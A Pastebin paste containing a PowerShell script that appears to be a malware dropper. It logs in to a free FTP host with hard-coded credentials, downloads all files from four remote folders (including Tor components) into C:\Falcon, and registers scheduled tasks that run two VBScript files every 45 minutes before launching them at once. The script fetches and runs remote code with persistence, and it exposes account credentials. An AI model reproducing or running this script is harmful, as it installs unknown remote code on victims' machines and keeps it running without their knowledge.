Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- New-Item -ItemType directory -Path C:\Falcon
- New-Item -ItemType directory -Path C:\Falcon\Data
- New-Item -ItemType directory -Path C:\Falcon\Data\abcd
- New-Item -ItemType directory -Path C:\Falcon\Data\Tor
- New-Item -ItemType directory -Path C:\Falcon\Tor
- #FTP Server Information - SET VARIABLES
- $ftp = "ftp://ftp.byethost18.com/"
- $user = 'b7_19786554'
- $pass = 'G.Fty12'
- $FoldFalcon = 'htdocs/Falcon'
- $FoldDTor = 'htdocs/DTor'
- $Foldabcd = 'htdocs/abcd'
- $FoldTor = 'htdocs/Tor'
- $TargFalcon = "C:\Falcon\"
- $TargDTor = "C:\Falcon\Data\Tor\"
- $Targabcd = "C:\Falcon\Data\abcd\"
- $TargTor = "C:\Falcon\Tor\"
- #SET CREDENTIALS
- $credentials = new-object System.Net.NetworkCredential($user, $pass)
- function Get-FtpDir ($url,$credentials) {
- $request = [Net.WebRequest]::Create($url)
- $request.Method = [System.Net.WebRequestMethods+FTP]::ListDirectory
- if ($credentials) { $request.Credentials = $credentials }
- $response = $request.GetResponse()
- $reader = New-Object IO.StreamReader $response.GetResponseStream()
- $reader.ReadToEnd()
- $reader.Close()
- $response.Close()
- }
- #SET FOLDER PATH
- $folderPath1= $ftp + "/" + $FoldFalcon + "/"
- $Allfiles1=Get-FTPDir -url $folderPath1 -credentials $credentials
- $files1 = ($Allfiles1 -split "`r`n")
- $files1
- $webclient = New-Object System.Net.WebClient
- $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
- $counter1 = 0
- foreach ($file1 in ($files1 | where {$_ -like "*"})){
- $source1=$folderPath1 + $file1
- $destination1 = $TargFalcon + $file1
- $webclient.DownloadFile($source1, $TargFalcon+$file1)
- }
- #SET FOLDER PATH
- $folderPath2= $ftp + "/" + $FoldDTor + "/"
- $Allfiles2=Get-FTPDir -url $folderPath2 -credentials $credentials
- $files2 = ($Allfiles2 -split "`r`n")
- $files2
- $webclient = New-Object System.Net.WebClient
- $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
- $counter2 = 0
- foreach ($file2 in ($files2 | where {$_ -like "*"})){
- $source2=$folderPath2 + $file2
- $destination2 = $TargDTor + $file2
- $webclient.DownloadFile($source2, $TargDTor+$file2)
- }
- #SET FOLDER PATH
- $folderPath3= $ftp + "/" + $Foldabcd + "/"
- $Allfiles3=Get-FTPDir -url $folderPath3 -credentials $credentials
- $files3 = ($Allfiles3 -split "`r`n")
- $files3
- $webclient = New-Object System.Net.WebClient
- $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
- $counter3 = 0
- foreach ($file3 in ($files3 | where {$_ -like "*"})){
- $source3=$folderPath3 + $file3
- $destination3 = $Targabcd + $file3
- $webclient.DownloadFile($source3, $Targabcd+$file3)
- }
- #SET FOLDER PATH
- $folderPath4= $ftp + "/" + $FoldTor + "/"
- $Allfiles4=Get-FTPDir -url $folderPath4 -credentials $credentials
- $files4 = ($Allfiles4 -split "`r`n")
- $files4
- $webclient = New-Object System.Net.WebClient
- $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
- $counte4r = 0
- foreach ($file4 in ($files4 | where {$_ -like "*"})){
- $source4=$folderPath4 + $file4
- $destination4 = $TargTor + $file4
- $webclient.DownloadFile($source4, $TargTor+$file4)
- }
- schtasks /Create /TN rot /SC MINUTE /MO 45 /TR "C:\Falcon\rot.vbs"
- schtasks /Create /TN dnib /SC MINUTE /MO 45 /TR "C:\Falcon\dnib.vbs"
- Invoke-Item C:\Falcon\rot.vbs
- Invoke-Item C:/Falcon\dnib.vbs
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement